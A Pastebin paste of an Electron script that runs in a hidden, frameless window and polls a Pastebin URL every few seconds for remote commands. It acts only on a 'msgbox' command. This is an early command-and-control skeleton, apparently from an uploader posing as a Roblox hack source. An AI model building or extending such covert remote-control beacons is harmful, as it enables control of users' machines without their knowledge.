Advertisement
robloxhackslegit

Untitled

Sep 29th, 2018
187
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. const { BrowserWindow, app, dialog, ClientRequest } = require("electron");
  2. const axios = require("axios");
  3. const url = require("url");
  4.  
  5. let win = null;
  6. let lastcmd;
  7.  
  8. function grabCurrentInstructions(fetchurl) {
  9.   return axios
  10.     .get(fetchurl)
  11.     .then(response => {
  12.       // handle success
  13.       //console.log(response.data);
  14.       return response.data;
  15.     })
  16.     .catch(function(error) {
  17.       // handle error
  18.       console.log(error);
  19.     });
  20. }
  21.  
  22. function boot() {
  23.   //console.log(process.type);
  24.   win = new BrowserWindow({
  25.     resizable: true,
  26.     show: false,
  27.     frame: false
  28.   });
  29.   win.loadURL(`file://${__dirname}/index.html`);
  30.  
  31.   //Loop everything in here every 10 seconds
  32.  
  33.   var requestLoop = setInterval(getLoop, 4000);
  34.   function getLoop() {
  35.     grabCurrentInstructions("https://pastebin.com/raw/i9cYsAt1").then(
  36.       response => {
  37.         //console.log(typeof lastcmd);
  38.         //console.log(typeof response);
  39.         if (JSON.stringify(response.app) == JSON.stringify(lastcmd.app)) {
  40.           console.log(lastcmd.app);
  41.           clearInterval(requestLoop);
  42.           requestLoop = setInterval(getLoop, 4000);
  43.         } else {
  44.           lastcmd = response;
  45.           switch (response.app) {
  46.             case "msgbox":
  47.               dialog.showMessageBox(response.contents);
  48.               //console.log(lastcmd);
  49.               clearInterval(requestLoop);
  50.               requestLoop = setInterval(getLoop, 1000);
  51.           }
  52.         }
  53.       }
  54.     );
  55.   }
  56. }
  57. app.on("ready", boot);
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement